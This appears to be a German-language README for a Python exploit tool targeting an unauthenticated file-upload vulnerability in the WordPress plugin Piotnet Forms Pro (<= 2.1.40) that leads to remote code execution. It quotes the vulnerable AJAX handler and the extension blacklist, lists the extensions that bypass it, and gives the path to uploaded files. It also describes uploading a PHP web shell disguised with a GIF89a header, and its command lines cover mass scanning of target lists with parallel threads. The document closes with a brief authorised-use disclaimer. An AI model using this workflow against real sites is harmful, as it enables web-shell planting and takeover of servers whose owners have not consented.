
Piotnet Forms Pro <= 2.1.40 - Nicht authentifizierter Upload beliebiger Dateien → RCE
Die Schwachstelle resultiert aus unzureichender Dateityp-Validierung in der Funktion piotnetforms_ajax_form_builder. Das Plugin verwendet eine unvollständige Erweiterungs-Blacklist, die nur php, phpt, php5, php7 und exe blockiert, während gefährliche Alternativen wie .phtml oder .phar erlaubt bleiben.
Der AJAX-Handler wird ohne jegliche Authentifizierungsanforderung registriert:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
Die Dateivalidierung stützt sich ausschließlich auf eine unvollständige Erweiterungs-Blacklist ohne MIME-Typ- oder Magic-Bytes-Prüfung:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
Das Upload-Verzeichnis enthält lediglich eine leere index.html, um die Verzeichnisauflistung zu verhindern — keine .htaccess, die die PHP-Ausführung blockiert. Hochgeladene Dateien sind öffentlich erreichbar unter:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
Die Datei-URL kann ohne Authentifizierung über die AJAX-Aktion piotnetforms_export_form_submission (ebenfalls nopriv) abgerufen werden, wodurch die vollständige nicht authentifizierte RCE-Kette geschlossen wird.
Dabei handelt es sich um denselben Copy-Paste-Fehler wie in CVE-2026-4885 — beide Plugins verwenden identischen verwundbaren Upload-Handling-Code desselben Entwicklers.
Interaktiver Modus:
python3 shadow.py
Einzelnes Ziel:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Massen-Scan:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
CLI-Optionen:
-u, --url - Ziel-URL-f, --file - Zieldatei (eine pro Zeile)-s, --shell - Benutzerdefinierte PHP-Shell (GIF89a wird automatisch vorangestellt)-t, --threads - Parallele Threads (Standard: 5)-h, --help - Hilfe anzeigenpiotnetforms_export_form_submission (nicht authentifiziert)shell.txt gespeichert.php .phpt .php5 .php7 .exe
Bypass-Erweiterungen: .phtml .phar .shtml .php8
pip install httpx
Das Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke gedacht. Nicht autorisierte Tests an Systemen sind untersagt.